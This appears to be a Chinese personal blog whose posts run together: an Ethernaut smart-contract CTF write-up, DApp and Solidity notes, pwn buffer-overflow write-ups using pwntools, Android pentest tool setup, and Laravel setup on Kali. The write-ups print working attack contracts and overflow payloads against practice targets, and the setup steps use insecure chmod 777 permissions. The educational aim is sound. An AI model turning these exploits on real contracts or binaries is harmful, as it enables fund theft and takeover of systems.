AssemblyDefault = 'default' AssemblyBlock
AssemblyForLoop = 'for' AssemblyBlock AssemblyExpression AssemblyBlock AssemblyBlock
AssemblyBreakContinue = 'break' | 'continue'
AssemblyFunctionCall = Identifier '(' ( AssemblyExpression ( ',' AssemblyExpression )* )? ')'

AssemblyIdentifierList = Identifier ( ',' Identifier )*
2019-03-26

Ethernaut WriteUp

很好玩的合约游戏


1. Fallback

Target: claim ownership of the contract

  这道题是考察fallback函数的奇妙(sb)用法,他的目的应该是处理异常用的,但是效果其实有点鸡肋…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

mapping(address => uint) public contributions;

function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(this.balance);
}

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

  在这里,我们只需要 我 秦始皇 打钱 就可以实现fallback()的调用:

contract.sendTransaction({value:1});

  智能合约的梗是真他喵的多 哈哈哈哈哈


2. Fallout

Target: Claim ownership of the contract

  这道题的出题人是真的欠揍,马德,完全是考眼力:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

mapping (address => uint) allocations;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

function allocate() public payable {
allocations[msg.sender] += msg.value;
}

function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

  看到没有第9行正儿八经的写着constructor 喵?定睛一看构造个瓜皮的函数,Fal1out() 这里不要被骗了,直接调用就可以了。

contract.Fal1out();


3. Coin Flip


4. Telephone

Target: 将owner变为自己

  本题主要考察的是只能合约中tx.origin与msg.sender的区别,tx.origin是交易发起人,msg.sender是合约的上层调用地址。因此只需要用新合约包装一下地址就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity >=0.4.0 < 0.6.0;
contract Telephone {

address public owner;

function Telephone() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract attack{

address target = 0x811cb74F2FC520c64f7B44ac90d056c744f0Cf4d;
Telephone c = Telephone(target);

function hit() public{
Telephone c = Telephone(target);
c.changeOwner(msg.sender);
}
}

5. Token

Target: 将owner变为自己

  这里主要考察uint的无符号整数的下溢,当uint为负数时,根据二进制的无符号表示法,此时数会变成一个极大的数,比如:

1
2
3
uint a = 1;

a = a - 2; //此时a为ffffffff

  这在pwn中十分常见,因此我们可以构造payload,即:

contract.transfer(yourAddress,21);

  或者构造攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

contract attack{
address Tokens = 0x0c65c7ec30d5d856958707fc8b958302ae689b49;
Token target = Token(Tokens);
function hit() public {
target.transfer(msg.sender,21);
}

}


6. Delegation

Target: 将owner变为自己

  这道题主要考察的是delegatecall()相关的知识,delegatecall()call() 的区别是两者的上下文不同,delegatecall()的上下文是调用方,而call()函数的上下文则是实例本身。

delegatecall()

  我们来看一下合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

  我们可以看到Delegationfallback函数中存在delegatecall而且其中的参数可以修改,这个时候我们可以直接调用Delegate实例的pwn()函数,payload如下:

contract.sendTransaction({data:web3.sha3(“pwn()”)})

  这个时候我们可以看到实例直接调用了非publicpwn函数,我们就实现了修改owner的操作。


7. Force

  这一题是要你给这个合约转钱,这里除了一只噬元兽什么也没有…乍一看挺懵逼的

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m) //马德 为什么这个猫变形了...

*/}

  要想给一个地址强行转钱,我们可以让一个合约自杀,然后钱就会被强行转入别的账户而且不能拒绝。所以我们就可以写个合约,随便打点钱,然后让他当场暴毙…好生刺激。

1
2
3
4
5
6
7
8
9
10
11
12
13
pragma solidity ^0.4.18;

contract Force{

}

contract payload{
function payload() payable{}
address addr_force = 0x0ad6047bf65c599bf68fbbc0372c3923280f2a66;
function hit() public {
selfdestruct(addr_force);
}
}

  这样一来,一执行hit()函数payload就凉凉,然后钱就打到了Force里面了,有没有一种舔狗的感觉…


8. Vault

Target: 解锁

  这道题主要考察了如何通过web3web3.eth.getStorageAt()接口来查看区块上的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.18;

contract Vault {
bool public locked;
bytes32 private password;

function Vault(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

  我们只需要通过unlock()函数就能修改locked的值,getStorageAt()的用法如下:

web3.eth.getStorageAt(addressHexString, position [, defaultBlock] [, callback])

  我们需要使用一个回调函数来打印出相关数据:

1
2
3
4
web3.eth.getStorageAt(contract.address,1,function(x,y){
var result = web3.toAscii(y);
alert(result);
});

9. King

Target: Be a king forever!!

  先放源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

address public king;
uint public prize;

function King() public payable {
king = msg.sender;
prize = msg.value;
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}

  这个题目有点坑爹,他原本的目的是让你进行一次ddos攻击,在之前的版本中,我们可以使用

1
2
3
4
5
1. require()

2. revert()

3. assert()

  这三个函数主动抛出错误,这样一样就可以阻止transfer()的进行,但是在实施的时候我们发现这三个函数并没有阻止交易的进行,所以我们决定直接放弃编写fallback()从而进行拒绝服务攻击。

1
2
3
4
5
6
7
8
9
contract fuck{
function fuck() payable{
address king_addr = 0xc48b3899a3a594b170404855De1B0bDA2d0aec1c;
king_addr.call.value(1.01 ether)();
}
function gg() public{
selfdestruct(msg.sender);
}
}

gg()完全是为了以防钱提不出来,留个后手。


15.Naught Coin

Target:取出合约中player所对应的balances

  这里的balances实际上是一个token,作者重写了transfer()方法,但是他的源码不见了,我在github上找到了之前的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
pragma solidity ^0.4.24;

import "./BasicToken.sol";
import "./ERC20.sol";


/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {

mapping (address => mapping (address => uint256)) internal allowed;


/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));

balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}

/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}

/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}

/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/

}

  这里我们可以看到transcationFrom()方法并没有被重写,因此我们可以直接调用,但是需要授权。

  接下来看一下题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

contract NaughtCoin is StandardToken {

string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;

function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

  这里我们可以看到合约只重写了transfer()函数,这里的balances并不是Ether,而是一种token,因此我们只需要给自己授权,然后吧token转给一个账户就行了。

await contract.approve(player,1000000(1018))
await contract.transferFrom(player,instance,1000000*(10**18));

  这样以来我们就吧token全部转出了。


2019-03-19

DAPP开发记录

DAPP的简单原理


  DAPP实在是神奇,理解他的工作原理还是需要熟悉区块链的运作方式,在此记录一下我的心路历程。

后端在哪

  每次一想到应用开发就觉得需要前后端的配合,后端总得在一台机器上吧,要不然我咋访问,咋交互?但是DAPP就不是这样,我们似乎只能访问其中的节点,以以太坊为例,每一个参与活动的客户端同时又是一个节点,我们自然可以在本地建立轻节点或者全节点,甚至是测试链,由于贫穷,我们在开发调试时就在测试链上进行。

  那么所谓的后端实际上是整个区块链,当合约被部署到区块链上时,整个区块链将成为他的数据库,我们将数据称之为负载,将代码称之为合约。合约之所以称之为合约是因为其不可篡改性以及调用时需要付出代价,即gas。gas可由eth(以太币)进行兑换,gas将用于奖励确认交易的矿工。这里需要注意,所谓交易的确认不过是新的区块的生成,可能有多个交易被打包在一个区块内,由于去中心化所导致的节点间完全不信任,但是新的区块总需要有个人进行确认,这时,就需要引入一种限制方式,或者说证明自己不是 骗子 的条件,即工作量证明(Proof of Work)。你如果要添加一个新的区块,你就要付出工作量的代价,因此就会有挖矿这么一说。

  当然,以上只是简单解释,其中的数学问题相当复杂,比如拜占庭将军问题的处理,等等。而且证明方式也不只是 Proof of work 这么一种。

合约在哪

  当你理解了上面的原理之后,这个问题其实很简单,合约自然是在整个区块链上。在remix中进行deploy时,此合约就已经被添加到了区块中,我们在等待区块被确认后,我们通过 ABI(Application Binary Interface),即应用二进制接口和合约的地址来进行调用。没错,合约本身就是一个地址,也是一个账户,当调用它是要给它冲钱。这个时候我们将数据参数发送至某个节点,在EVM运行合约并处理数据后,可能会将数据添加到链上做数据负载,或者将一些负载返回给客户端。我们也可以调用合约的接口来访问visable的状态变量,以面向对象的思想进行思考总是会得到新的体验,这就是设计模式的魅力所在。

开始构建

  在做了一部分背景介绍后,我们来进行开发,所需工具如下:

  • remix-ide

  • MetaMask

  • geth

  • lite-server

  1. 合约的部署

  首先我们使用remix-ide,我个人建议本地安装,去github上下载。接下来我们将合约进行编译,目前的通用版本是0.5.5,这里Environment应该选择Injected Web3。开发的环境选择Ropsten测试链,因为在这条链上我们可以免费获得eth,实在是穷人啊!至于如何获得免费的以太币我们最后再讲。总的设置如下:

remix-ide

  合约会自动编译,接下来我们将合约部署到区块链上,点击下面的deploy:

deploy

  会出现MetaMask的弹框,让你确认是否进行交易,我们可以看到虽然没有向合约支付,但是却要为矿工支付gas。接下来我们等待一段时间后可以看到交易被确认:

commit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity >= 0.4.0 < 0.6.0;

contract human{
uint age;
string name = "dyf";

function setInfo(uint256 _age, string memory _name) public {
age =_age;
name = _name;
}

function getInfo() public view returns(uint256,string memory ){
return (age,name);
}

}

   请注意这里函数的view

  以上是我的交易记录,到这里我们的合约已经部署完毕。下一步是在前端引用合约。


  1. 合约的调用

  在html中,要实现与区块链的交互我们还是需要Web3的api,就像geth一样,只是被迁移到了前端,这里给出api库:

1
<script src="https://cdn.jsdelivr.net/gh/ethereum/web3.js/dist/web3.min.js"></script>

  有时间还得读读他的文档,为了方便起见我们最好使用jQuery库,我觉得挺舒服的,直接给出前端代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<html>
<head>
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
<script
src="https://cdn.jsdelivr.net/gh/ethereum/web3.js/dist/web3.min.js"></script>
<meta charset=utf-8>
</head>
<body>
<h1>my dapp</h1>
<div class="container">
<h3 id='info'>info</h3>
<label>name:</label>
<input type="text" id="name">
<label>age:</label>
<input type="text" id="age">
<button id="button">Go</button>
<button id="get"> Get info</button>

</div>
</body>
<script>
console.log("web3"+web3);
if(typeof web3 != 'undifined'){
web3 = new Web3(web3.currentProvider);
}
else{
web3 = new Web3(new Web3.providers.HttpProvide("http://localhost:8545"));
}

var infoContract = web3.eth.contract(
[
{
"constant": true,
"inputs": [],
"name": "getInfo",
"outputs": [
{
"name": "",
"type": "uint256"
},
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_age",
"type": "uint256"
},
{
"name": "_name",
"type": "string"
}
],
"name": "setInfo",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
]
)

var info = infoContract.at('0x3d2f4d5eb88848e75c966118c98f4928aa188f21');

$("#button").click(function(){
var name = $("#name").val();
var age = $("#age").val()
info.setInfo(age,name,function(error,result){
if(!error){
console.log("ok");
}
})
})
$('#get').click(function(){
info.getInfo(function(error,result){
$('#info').html("name:"+result[1]+"&emsp;age:"+result[0]);
})
})
</script>
</html>

  首先验证引入web3成功

1
console.log("web3"+web3);

  接着我们链接web3的provider或本的链,在这里就是lite-server所创建的服务器环境,lite-server的作用是建立服务器连接,因为MetaMask存在保护,这样才能引入Web3,反正windows用户应该挺难受的。

1
2
3
4
5
6
if(typeof web3 != 'undifined'){
web3 = new Web3(web3.currentProvider);
}
else{
web3 = new Web3(new Web3.providers.HttpProvide("http://localhost:8545"));
}

  然后我们生成一个合约对象,这里我们需要编译合约时生成的ABI和地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

/** 注入合约ABI **/

var infoContract = web3.eth.contract(
[
{
"constant": true,
"inputs": [],
"name": "getInfo",
"outputs": [
{
"name": "",
"type": "uint256"
},
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_age",
"type": "uint256"
},
{
"name": "_name",
"type": "string"
}
],
"name": "setInfo",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
]
)

/** 注入合约地址 **/
var info = infoContract.at('0x3d2f4d5eb88848e75c966118c98f4928aa188f21');

  这是我们就得到了一个合约实例,我们可以按照通常面向对象的方式来调用他们的接口。比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$("#button").click(function(){
var name = $("#name").val();
var age = $("#age").val()
info.setInfo(age,name,function(error,result){
if(!error){
console.log("ok");
}
})
})
$('#get').click(function(){
info.getInfo(function(error,result){
$('#info').html("name:"+result[1]+"&emsp;age:"+result[0]);
})
})

  这里是基于jQuery的信息交互,我们可以清晰的理解这种调用方式,我们向节点服务器发送交易请求,当交易被确认后,前端的数据可以通过调用接口的方式进行刷新,但是数据的更新会有延迟,毕竟交易的确认需要时间。

  到这里,一个极端简单的DAPP已经开发完成,但是区块链神奇的思想可见一斑,由此看来我们还是要好好学设计模式和数学才能更加深刻的理解这个神奇的生态环境。

2019-03-18

solidity中令人窒息的语法糖

Solidity函数的困惑


  关于Solidity我看的是不明不白,主要是web3的api几乎一无所知,而且对区块链的理解也不够深刻,在此记录一下一些令我窒息的语法糖。

1. 关于函数的可见型与访问控制

  Solidity封装了两种函数调用方式 internalexternal

  • internal

  internal调用,实现时转为简单的EVM跳转,所以他能够直接访问上下文的数据,对于引用传递是十分高效,例如memory之间的值传递,实际上是引用的传递(妈耶,storage和memory又是坑,不同版本真是令人窒息)。

  当前代码单元内,比如同一个合约内的函数,引入的library库,以及父类函数的直接调用即为internal调用,比如:

1
2
3
4
5
6
7
8
9
pragma solidity >=0.4.0 < 0.6.0;

contract test{
function a() internal {}

function b() internal {
a();
}
}

  在上述代码中的b()对a()的调用即为internal方式调用,函数在不显式声明访问类型时,以目前的版本来看会报错。

  • external

  external调用实现了合约的外部消息调用。所以合约在初始化时不能以external的方式调用自身函数,因为此时合约仍未构造完成,此处可类比struct类型,一个结构体不能包含自身对象。但是可以以this的方式强制进行external调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity >= 0.4.0 < 0.6.0;
contract test{
function a() external {}

function b() public {
a(); //此时会报错
}

contract ext{
function callA(test tmp) public {
tmp.a();
}
}
}
  • public

  public的特点是,函数既可以以internal方式调用,也可以用internal方式调用。public函数可以被外部接口访问,是合约对外接口的一部分。

1
2
3
4
5
6
7
8
9
10
pragma solidity >= 0.4.0 < 0.6.0

contract test{
function fun1() public{}

funciton fun2() public {
fun1();
this.fun2();
}
}

  可以看到没有报错,既然public这么舒服,那为啥我还要用external???

  经过对比后我们可以发现,external方法消耗的gas要比public少,因为Solidity在调用public函数时会将代码复制到EVM的内存中,而external则是以calldata的方式进行调用的。内存分配在EVM中是十分宝贵的,而读取calldata则十分廉价,因此在处理大量外部数据,并反复调用函数时,应当考虑用external方法。

  这里应当注意的是,public属于可见性。函数的可见性分为四种:public private internal external .

  • private

  对于private,与internal的区别是,private的方法在子类中无法调用,即使被声明为private也不能阻止数据的查看。访问权限仅仅是限制其他合约对函数的访问和数据修改的权限。而private方法也默认以internal的方式调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity >= 0.4.0 < 0.6.0;

contract test{
function fun1() private{}

function fun2() public{
fun1();
//this.fun1()
}
}

//合约的继承为is,这一点很容易理解,如果你明白设计模式的话,实际上继承是A is B 的关系,我很喜欢这种写法。

contract ext is test{
function callFun() public {
//fun1();
fun2();
}
}

  这里我们可以明确的看到private的效果,和internal类似,但是代价会更大。

  然而 publicprivate 还可以被作用于其他的变量,用于设置外部访问权限。

  请大家务必不要弄混 调用方式可见性(visable)

  • this

  在Solidity中,this与其他高级语言意义不同,这里的this指的是当前合约的一个实例化对象,而并不是只的合约本身,this可以理解为实现external调用的一种方式,在初始化未完成时强制调用external类型方法。而并不能指代当前合约类型。

1
2
3
4
5
6
7
8
9
pragma solidity >= 0.4.0 < 0.6.0;

contract test{
function fun1() external{}

function fun2() public{
this.fun1();
}
}

  • getter

  编译器会为公共状态变量提供一个getter(访问器)函数,对mapping和数组以及枚举类型也提供了对应的getter,mapping的key 数组的下标 枚举的名都具有getter,访问器的visable为external。


2. 关于 view pure constant

  在0.4.1之前只有constant这一种可爱的语法,就是有一些屁事很多的人觉得constant指的是变量,作用于函数不太合适,所以就把constant拆成了view和pure。

  在Solidity中,constant view pure 的作用是告诉编译器,函数 不改变不读取状态变量,这样一来函数的执行就不再消耗gas了,因为不再需要矿工去验证。

  然而这三个东西有点有意思,在官方文档中用 restrictive 这一词来对函数的严格性进行描述,在函数类型转换时对严格行有一定的要求,高严格性函数可以被转化为低严格性函数:

  • pure 类型可被转化为 viewnon-payable 函数

  • view 类型可被转化为 non-payable 函数

  • payable 类型可被转化为 non-payable 函数

  真是令人头秃!

toutu

2019-02-13

pwn_write_up

一些pwn题的write_up

  pwn题就是好玩,做了几道题,写一波writeUp。
  点击标题可下载题目。

alias

1. crackme0x00

  首先我们把这玩意扔到radare2里,先逆了再说。
  看了一下main()大概长着个样子:

main

  然后下面的分支大概长这个样子:

brench

  大概意思就是,假如我输入的字符串等于250382就算我成功了。本身到这里其实题目已经做完了,但是为了实践stackoverflow,我们要用厉害的方法。

  我们可以看到有一个局部变量 char *s1 @ ebp-0x18 这说明这个字符串距离栈基址有 0x18 (24byte) 这么远.那么此时 s1 就距离 return_address 有 0x18+4 这么远.这个时候,我们就可以做一些恶心的事情,比如:

1
2
3
4
5
6
7
8
9
from pwn import *   

sh = process('./crackme0x00')

payload = 'a'*0x18 + 'bbbb' + p32(0x8048480)

sh.sendline(payload)

sh.interactive()

  我们这样构造payload的原因是,我们希望 return 的地址是我们想要的指令.我们前面输入了一堆aaa和bbbb这是为啥嘞?24个a为了填充s1与esp的值的间隔,而4个b则是为了恰好覆盖ebp.
  这样一来,后面的 p32(0x8048480) 就恰好存到了return_address的位置,也就起到了我们要的劫持指令的效果。结果长下面这样:

result

2. ret2text

  这个题稍微有点难度,我们用r2先逆为敬.
  main()大概长下面这样:

main

  我们可以看到里面有 gets() 函数,这个东西是坨垃圾,他不限制输入的长度,所以很有可能把缓冲区怼爆,所以我们就想法子日这个函数。
  我们看到里面有个局部变量 char *s @ esp+0x1c ,gets()函数的值就存在s里面。这个时候我们不禁萌生了一些猥琐的想法。
  我们接着看其他还有啥函数,毕竟main()里没有好利用的东西,这个时候我们发现了 sym.secure 这个函数:

sym.secure

  我们仔细看了一下发现,果然里面有见不得人的东西,它调用了 system(“/bin/bash”),这我们还能说什么,直接跳转到 0x0804863a 日了他完事。下面就是愉快的编写payload,我灵机一动发现事情并不简单,这个局部变量并不是基于 ebp 的偏移地址,而是基于 esp 栈顶指针给出的,不知道他用了什么妖术。这样的话我们只好用gdb动态调试:

gdb

  我们在gets()那里打上断点,然后看一下寄存器的值:

1
2
3
4
5
6
7
$esp -> 0xffffd030

$ebp -> 0xffffd0b8

s @ $esp+0x1c -> 0xffffd04c

($ebp - s) -> 0xfffd0b8 - 0xffffd04c = 0x6c

  一顿帅气操作我们已经得到了s基于ebp的偏移地址,下面我们就愉快的写payload:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *    

sh = process('./ret2text')

target = 0x0804863a

payload = 'a'*0x6c + 'bbbb' + p32(target)

sh.sendline(payload)

sh.interactive()

  下面就是我们的结果:

result

3. babyPwn

  这个题就比较简单了,程序也是我自己写的,下面是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>   
#include <string.h>

void success() {
puts("You Hava already controlled it.");
}

void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}

int main(int argc, char **argv) {
vulnerable();
return 0;
}

  直接逆,main()和sym.vulnerable()大概下面这样:

main&vulnerable

  这个逻辑也比较简单,我们看main()里面好像啥也没有,接着看vulnerable()里面又出现了gets()这种东西,好了怼他,我们看到这个局部变量char s @ ebp-0x14中规中矩,给的也是基于 ebp 的偏移地址。
  接着我们看一看别的函数,里面有个醒目的 sym.success 是结果没跑了,一看长这样:

sym.success

  那我们就直接把success()的地址放在vulnerable()的返回值那里,让他直接跳转,思路清晰,下面愉快的写payload:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./1')

success_addr = 0x08049172

payload = 'a' * 20 + 'bbbb' + p32(success_addr)

print p32(success_addr)
sh.sendline(payload)

sh.interactive()

  然后结果就长这个样子:

result


总结

  总之,我认为pwn是入侵的最高境界,是一种暴力美学,如果说web能拿到一些主机的权限,那么pwn能拿到世界上所有主机的权限。
  漏洞的利用千奇百怪,绝不要被教条束缚了头脑,始终忘不了第一次见到如此简洁的shellcode时的惊讶。二进制就像魔法,我就是寻求刺激的魔法师。
  以上三道题目是入门题,我要走的路还很长。

2019-01-17

测试环境的搭建

  到了公司以后,目前在学习android客户端的渗透测试。在看过用例之后觉得也不很难,主要是搭环境是真的恶心,反正windows下就是各种不顺,还是linux比较方便。记录一下各种工具的安装和使用把。

drozer的安装


  在linux下安装是真的顺畅,首先要安装python——wheel的环境,至于这是个啥目前我还不太清楚:

1
2
3
4
5
git clone https://github.com/mwrlabs/drozer/

cd drozer

python setup.py bdist_wheel

 然后就可以pip install了

注意,pip3还是pip取决于python环境

1
pip install drozer

  当然了你也可以直接去github上直接git clone。
  到这里,电脑端的drozer就安装完成了,接下来我们要安装移动测试端的agent.apk
  这里我们要去drozer_agent.apk去下载agent.apk,然后用adb直接安装就好了。

1
adb install drozer-agent-2.x.x.apk

  好了,到这里安装已经结束了,接下来我们测试以下,首先我们要开启端口转发:

1
adb forward tcp:31415 tcp:31415

  然后,在手机端打开drozer的开关

agent.apk

  接下来我们要通过drozer console 来连接手机:

1
2
3
drozer console connect ---server ip_of_your_phone

注意:这里是使用真机测试 所以后面要加上手机的ip做参数,

  假如你使用的是模拟器,就可以直接:

1
drozer console connect

drozer_console

  好了,到此为止已经测试完成了

  其实直接输入drozer就能得到提示,人家的文档写的还是很不错的,用法以后再补。

frida的安装

  frida是一个很牛逼的框架,能hook能注入反正就是各种牛逼,我目前还不太熟悉android,所以高级操作我也不会。
  这个东西嘛,反正我在windows下是各种崩,所以直在linux下安装了:

1
2
3
4
5
6
7
首先要安装python3

pip install frida-tools

pip install frida

npm install frida

  这个三条命令一输,完事儿。(垃圾windows

  然后去这里下载frida的客户端

注意,一定要下载对应的版本号,要与电脑断相同

  然后用adb把frida-server安装到手机并运行,然后我们测试一下:

frida-ps -U

  好了,到此为止frida搭建完毕。

2018-12-12

Laravel with kali

记录一下在Kali下如可搭建Laravel环境


  我的天呐,Kali安装个Laravel是真的难,不是权限问题就是依赖问题,统一记录一下吧.
  首先要新建一个普通用户

1
2
3
4
5
useradd -m dyf -s zsh -d /home/dyf 
passwd dyf //然后就输入密码
usermod //可修改用户状态
userdel //可删除用户
visudoers 将用户加入sudoers

  关于useradd的参数用法:

1
2
3
4
5
6
-c comment 指定一段注释性描述。
-d 目录 指定用户主目录,如果此目录不存在,则同时使用-m选项,可以创建主目录。
-g 用户组 指定用户所属的用户组。
-G 用户组,用户组 指定用户所属的附加组。
-s Shell文件 指定用户的登录Shell。
-u 用户号 指定用户的用户号,如果同时有-o选项,则可以重复使用其他用户的标识号。

  接着是最恶心的部分,安装php依赖:

1
2
3
4
5
6
sudo apt-get install -y libapache2-mod-php7.0
sudo apt-get install -y php7.0-mysql
sudo apt-get install php7.2-zip
sudo apt-get install php-common php-mbstring php-xml php-zip php-json php-mcrypt
sudo apt-get install php-mbstring
sudo apt install libapache2-mod-php

  弄完了这么一堆恶心的东西之后,心态差了许多.
  现在开始我们已经可以真正开始了.第一步是安装php的包管理composer:

1
2
3
4
5
6
sudo apt update
suod apt upgrade
sudo apt install -y composer
composer //此时有参数选项则安装成功
sudo chmod 777 /home/dyf //增加写入权限
composer config -g repo.packagist composer https://packagist.laravel-china.org //更换composer源

  此时composer已经安装完毕,下面开始正式安装Laravel:

1
2
composer global require "laravel/installer"
PATH=$PATH:/home/dyf/.config/composer/vendor/bin //修改为全局变量

到这里已经差多完了,缺啥东西自己去stackoverflow上面查吧,心力憔悴.
然后嘞,你需要去修改/etc/apache2/sites-aviliable/000-default.conf把默认路径改一下.

1
2
3
4
5
6
composer create-project --prefer-dist laravel/laravel
chmod -R 777 public storage bootstrap //给权限
vim /etc/apache2/apache2.conf //找到'/var/www'将AllowOverride改为all
sudo a2enmod rewrite //开启重写模式
composer install
composer update

